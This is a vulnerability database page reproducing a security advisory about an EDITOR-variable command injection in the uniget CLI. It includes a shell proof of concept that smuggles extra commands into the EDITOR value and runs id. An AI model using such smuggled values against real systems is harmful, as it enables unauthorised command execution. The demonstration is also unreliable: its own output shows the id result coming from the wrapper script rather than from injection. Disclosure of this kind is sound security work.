GHSA-QMCQ-XW74-W667
Vulnerability from github – Published: 2026-08-17 17:46 – Updated: 2026-08-17 17:46
VLAI
Summary
uniget CLI has an EDITOR Command Injection
Details
Summary
The uniget CLI has a command injection vulnerability in hooks.go line 199 where strings.Split(editor, " ") naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.
Vulnerable Code:
editorWithArgs := strings.Split(editor, " ")
Location Context:
editor := os.Getenv("UNIGET_EDITOR")
if len(editor) == 0 {
editor = os.Getenv("EDITOR")
}
editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE
command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)
Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.
Step to Reproduce
Step 1: Create malicious editor wrapper
mkdir -p /tmp/poc-editor
cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'
#!/bin/bash
echo "[EDITOR] Received args: $@"
id
EOF
chmod +x /tmp/poc-editor/editor_wrapper.sh
Step 2: Create test hook
mkdir -p ~/.config/uniget/hooks/pre-install
cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'
#!/bin/bash
echo "Test hook"
EOF
chmod 700 ~/.config/uniget/hooks/pre-install/test.sh
Step 3: Set injection payload
export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo"
Step 4: Run vulnerable code
cd /home/w4nn4d13/Downloads/cli
go build -o uniget ./cmd/uniget
./uniget hooks edit --type=pre-install test.sh
Step 5: Observe output
[EDITOR] Received args: && id && echo /path/to/hook
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gitlab.com/uniget-org/cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.27.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55061"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T17:46:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, \" \")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR=\"/path/to/wrapper \u0026\u0026 id \u0026\u0026 echo\" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.\n\n**Vulnerable Code:**\n```\neditorWithArgs := strings.Split(editor, \" \")\n```\n\n**Location Context:**\n```\neditor := os.Getenv(\"UNIGET_EDITOR\")\nif len(editor) == 0 {\n editor = os.Getenv(\"EDITOR\")\n}\neditorWithArgs := strings.Split(editor, \" \") // \u2190 VULNERABLE\ncommand := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)\n```\n**Issue:** Naive space-splitting allows injection. EDITOR=\"script \u0026\u0026 id \u0026\u0026 echo\" splits into [\"script\", \"\u0026\u0026\", \"id\", \"\u0026\u0026\", \"echo\"] enabling command execution.\n\n## **Step to Reproduce**\n\n**Step 1: **Create malicious editor wrapper\n```\nmkdir -p /tmp/poc-editor\ncat \u003e /tmp/poc-editor/editor_wrapper.sh \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"[EDITOR] Received args: $@\"\nid\nEOF\nchmod +x /tmp/poc-editor/editor_wrapper.sh\n```\n\n**Step 2: **Create test hook\n```\nmkdir -p ~/.config/uniget/hooks/pre-install\ncat \u003e ~/.config/uniget/hooks/pre-install/test.sh \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"Test hook\"\nEOF\nchmod 700 ~/.config/uniget/hooks/pre-install/test.sh\n```\n**Step 3:** Set injection payload\n```\nexport EDITOR=\"/tmp/poc-editor/editor_wrapper.sh \u0026\u0026 id \u0026\u0026 echo\"\n```\n\n**Step 4:** Run vulnerable code\n```\ncd /home/w4nn4d13/Downloads/cli\ngo build -o uniget ./cmd/uniget\n./uniget hooks edit --type=pre-install test.sh\n```\n**Step 5:** Observe output\n```\n[EDITOR] Received args: \u0026\u0026 id \u0026\u0026 echo /path/to/hook\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)\n```\n\n\u003cimg width=\"1017\" height=\"449\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce\" /\u003e",
"id": "GHSA-qmcq-xw74-w667",
"modified": "2026-08-17T17:46:05Z",
"published": "2026-08-17T17:46:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uniget-org/cli/security/advisories/GHSA-qmcq-xw74-w667"
},
{
"type": "WEB",
"url": "https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"
},
{
"type": "PACKAGE",
"url": "https://github.com/uniget-org/cli"
},
{
"type": "WEB",
"url": "https://github.com/uniget-org/cli/releases/tag/v0.27.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "uniget CLI has an EDITOR Command Injection"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…